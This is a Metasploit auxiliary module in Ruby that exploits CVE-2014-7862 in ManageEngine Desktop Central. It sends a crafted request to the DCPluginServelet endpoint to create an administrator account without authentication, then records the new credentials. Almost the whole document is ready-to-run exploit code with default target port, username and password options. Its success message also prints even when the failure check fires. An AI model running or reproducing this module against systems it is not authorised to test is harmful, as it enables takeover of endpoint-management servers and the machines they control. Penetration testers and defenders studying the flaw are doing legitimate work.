ManageEngine Desktop Central Administrator Account Creation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::HttpClient  include Msf::Auxiliary::Report  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ManageEngine Desktop Central Administrator Account Creation',        'Description' => %q{          This module exploits an administrator account creation vulnerability in Desktop Central          from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in          several versions of Desktop Central (including MSP) from v7 onwards.        },        'Author' => [          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2014-7862'],          ['OSVDB', '116554'],          ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],        ],        'DisclosureDate' => '2014-12-31'      )    )    register_options(      [        OptPort.new('RPORT', [true, 'The target port', 8020]),        OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),        OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])      ]    )  end  def run    # Generate password hash    salt = Time.now.to_i.to_s    password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'),      'method' => 'GET',      'vars_get' => {        'action' => 'addPlugInUser',        'role' => 'DCAdmin',        'userName' => datastore['USERNAME'],        'email' => datastore['EMAIL'],        'phNumber' => Rex::Text.rand_text_numeric(6),        'password' => password_encoded,        'salt' => salt,        'createdtime' => salt      }    })    # Yes, "sucess" is really misspelt, as is "Servelet" ... !    unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/      print_error('Administrator account creation failed')    end    print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")    connection_details = {      module_fullname: fullname,      username: datastore['USERNAME'],      private_data: datastore['PASSWORD'],      private_type: :password,      workspace_id: myworkspace_id,      access_level: 'Administrator',      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_details)    create_credential_and_login(connection_details)  endend